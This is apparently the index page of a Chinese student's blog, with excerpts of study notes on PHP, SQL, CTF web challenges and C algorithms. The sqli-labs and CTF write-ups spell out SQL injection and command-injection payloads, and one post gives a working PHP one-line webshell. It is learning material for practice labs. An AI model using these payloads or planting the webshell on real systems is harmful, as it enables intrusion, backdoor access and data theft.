序列化与反序列化
我会在这里写下我学习序列化和反序列化的过程类与对像学习序列化和反序列化最基本的就是对类和对象的了解
什么是类什么是对象类就是就是对象的抽象,而对象就是对类的实例化
举例类相当于一个写着电脑配置的清单而对象就是这太电脑组装后的样子,也就是说对象是类的实体也就是实例
类的定义类的定义包含对类名的定义对成员变量(属性)的定义对成员函数的定义(方法)以下为代码演示123456789101112131415<?phpclass text{ var $name="benben"; var $name2="dazhuang"; function xuanze(){ $this->name; echo "输出"; } } $p=new text(); print_r($p) echo $p->name; $p->xuanze()?>
以上代码中function以前的为成员属性而functi ...
php函数
我会在这里写下我在写ctf题时遇到的不会和不熟悉的的php函数preg_match这个函数是个正则表达式,代码如下123456if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。";} else { echo "未发现匹配的字符串 php。";}?>输出:查找到匹配的字符串 php上面的代码的意思为:在后式的”PHP”中查找前式列出的字符串php,有则返回1无返回0/php/两边的/是用于对字符串的分隔//后的i代表这是一个对大小写不敏感的查询所有这个会返回1就是真
123456789101112131415<?php/* 模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配 * 单词的部分内容比如"webbing" 或 "co ...
sqli-labs的wp
less1~less4less1我们先在url上输入?id=1进行尝试发现屏幕回显如下证明存在注入点接下来我们判断为什么类型的注入,输入1?id=2-1;发现屏幕回显如下
与?id=1不同所以为字符型注入,因为是字符型注入所以我们需要找到闭合方式输入?id=1'--+成功回显所以他的闭合方式为'
接下来我们查询该表的列数1?id=1' order by 列数--+我们发现当我们order by 4时报错而order by 3时没报错所以判断该表列数为3接下来我们查看回显位置1?id=-1' union select 1,2,3--+回显如下证明回显位置是2和3接下来我们可以查询数据库名称代码如下1?id=-1' union select 1,database(),3查询出库名为’security’在查询这个库中的表名代码如下1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ...
一句话木马
这篇文章是关于一句话木马的文章一句话木马可以说是最简单吗木马了,代码如下1<?php @eval($_POST['1']);?>
sql注入的学习
我会在这里写下sql注入的一些学习过程sql的增删改查看数据库show databases
创建与删除数据库create database employees charset utf8;创建一个数据库叫employees字符集是utf8
删除叫employees的数据库drop database employees;
创建表创建一个名字为employee的表123456789create table employee//下面输入表格信息(id int,name varchar(),sex char(),birthday date,job varchar());创建表时需要将每一列分别是什么数据类型定义好
查看数据表信息show full columns from employee;
查看数据表列表select * from employee;
删除数据表drop table employee;
给表添加一个自增的idalter table 表名 add id int unsigned not Null auto_increment primary key
修改数据表名将数据表名改为us ...
php
在这里我会写一写关于php的笔记。魔术常量__FILE__(返回文件的路径和名称)像这样的是魔术常量是预定义常量highhighfile(`_FILE`)高亮文件路径
数据表单$_GET —— 接受 GET 请求传递的参数。示例:example.com/index.php?book=HELLOCTF,你可以使用 $_GET[‘book’] 来获取相应的值。
$_POST —— 接受 POST 请求传递的参数。示例:对 example.com/index.php 进行 POST 传参,参数名为 book 内容为 HelloCTF,你可以使用 $_POST[‘book’] 来获取相应的值。
$_REQUEST —— 接受 GET 和 POST 以及 Cookie 请求传递的参数。
示例:123如果你通过 URL 传递了一个参数 example.com/index.php?key=value_from_get,你可以通过 `$_REQUEST['key']`获取这个值。如果你通过 POST 方法提交了一个表单,其中有一个名为 key 的字段且其值为 value_from_ ...
NSSCTF:LitCTF入门web的wp
这也是一个入门题的wp第一题就不说了直接第二题PHP是世界上最好的语言!!这题从题目看好像是考代码审计,所有先F12打开源码看看,但是我们发现源码好长,所有应该不是考的代码审计,我们看页面可以发现这个网页是应该解码网页,我们可以尝试在输入窗口直接输入一些php危险函数代码,如1system("ls /");我们可以发现回显了文件名证明了没有过滤,而且在文件名里我们发现了flag我们直接使用cat来实现对flag的查看代码如下1system("cat /flag");屏幕回显出flag。
第三题.导弹迷踪这道题我们打开发现是一款游戏,你可以直接通过然后屏幕就会返回flag但是正常人都不会去打这款游戏的,我们观察屏幕可以发现左上角有个qualifying level资格级别,我们可以猜测关卡数应该是由‘qualifying level’或者level来命名,我们在源码中搜索后发现关卡数的变量是level,找到一个语句level==6后会发现如果通关后输出的flag就在后面
第四题Follow me and hack me这道题目就是一个简单的传参题目 ...
攻防世界web入门题
由于本人太菜写不来更难的题目只好写写入门题目了。1.view_source这一题非常简单只有在网页内打开源码就可以得到flag了
2.get_post这道题首先让我们提交一个a=1。然后用post提交一b=2这到题目主要是利用http的两种请求方法分别是git和post我们可以利用一个浏览器插件叫hackbaar来进行请求,git请求是直接在url上进行请求方式是这样的网址/?a=1再在hockbar上用post传一个b=2就可以得到flag
3.robotsrobots是一个爬虫的协议只有在创建站时建立一个robots.txt文件,将不想被搜索引擎抓取的部分写在robots.txt就可以,可是robots只是一个协议就像是在一个未上锁的房间上写上了内有贵重物品勿进一样。这道题只需要在url网站后添加上robots.txt就可以查看的该网站的robots.txt的内容里面有一个f1ag_1s_h3re.php。将其在url中打开就可以查看的该题的flag
4.backup这道题是要求找到该网站未删除的备份文件,网页上给的提示是你知道index.php的备份文件吗,一般备份文件的后缀名为 ...
高精度算法
关与高精度算法的学习这篇博文会记载我学习c语言高精度算法的过程,我会将我学习的内容输出的这篇博文之下。 高精度顾名思义就是将长到longlong都无法储存的数字存储到数组内进行四则运算。 原理其实和小学学的竖式可以说一模一样。每一位相加大于10进1。实现这个的代码如下 12345arr3[i]=arr[i]arr1[i]+arr2[i];arr3[i+1]=arr3[i]/10;arr3[i]=arr3[i]%10;
当然我们都知道字符型数组里的元素是无法进行四则运算的所以我们需要将字符串转换为整形数组主要操作如下(由于在循环时我们习惯将i从小到大进行++所以我们在将字符串存储在整形数组里时需要以下代码的操作就是将字符串反向存储到整形数组中)1234567891011121314int i=0;//arr1和arr2为字符串数组 //arr3和arr4为整形数组s1=strlen(arr1);s2=strlen(arr2);for(;i<s1;i++){arr3[s1-i]=arr1[i]-'0';//将字符串的数字反向存储到整形数组中,使arr3[ ...
语法排序
这篇博客我将写我学习排序的过程我会将种排序写在这篇文章底下我个人比较喜欢用题目来熟悉代码所有下面的基本会用题目来描写我在洛谷里找到了这题
【模板】排序题目描述将读入的 $N$ 个数从小到大排序后输出。
输入格式第一行为一个正整数 $N$。
第二行包含 $N$ 个空格隔开的正整数 $a_i$,为你需要进行排序的数。
输出格式将给定的 $N$ 个数从小到大输出,数之间空格隔开,行末换行且无空格。
样例 #1样例输入 #11254 2 4 5 1
样例输出 #111 2 4 4 5
提示对于 $20\%$ 的数据,有 $1 \leq N \leq 10^3$;
对于 $100\%$ 的数据,有 $1 \leq N \leq 10^5$,$1 \le a_i \le 10^9$。
没有学排序语法的我一开始看到这题我觉得,就这随随便便就打出来了好吗?
于是我提交了一个冒泡排序像下面这样。
1234567891011121314151617181920212223242526272829303132333435#include<stdio.h>int main(){ in ...